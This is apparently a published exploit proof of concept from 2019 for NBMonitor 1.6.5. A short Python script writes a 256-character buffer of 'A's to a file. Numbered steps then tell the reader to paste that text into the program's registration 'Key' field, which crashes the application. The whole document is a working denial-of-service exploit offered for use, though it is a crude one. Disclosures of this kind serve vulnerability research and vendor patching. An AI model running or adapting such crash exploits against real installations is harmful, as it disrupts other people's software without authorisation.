# -*- coding: utf-8 -*-# Exploit Title: NBMonitor 1.6.5 - 'Key' Denial of Service (PoC)# Date: 15/02/2019# Author: Alejandra Sánchez# Vendor Homepage: http://www.nsauditor.com/# Software Link: http://www.nbmonitor.com/downloads/nbmonitor_setup.exe# Version: 1.6.5.0# Tested on: Windows 10# Proof of Concept:# 1.- Run the python script "NBMonitor.py", it will create a new file "PoC.txt"# 2.- Copy the text from the generated PoC.txt file to clipboard# 3.- Open NBMonitor.exe # 4.- Go to Register > Enter Registration Code...# 5.- Write anything in 'Name' field# 6.- Paste clipboard in 'Key' field# 7.- Click on button -> Ok# 8.- Crashed
buffer = "\x41"* 256
f = open ("PoC.txt","w")
f.write(buffer)
f.close()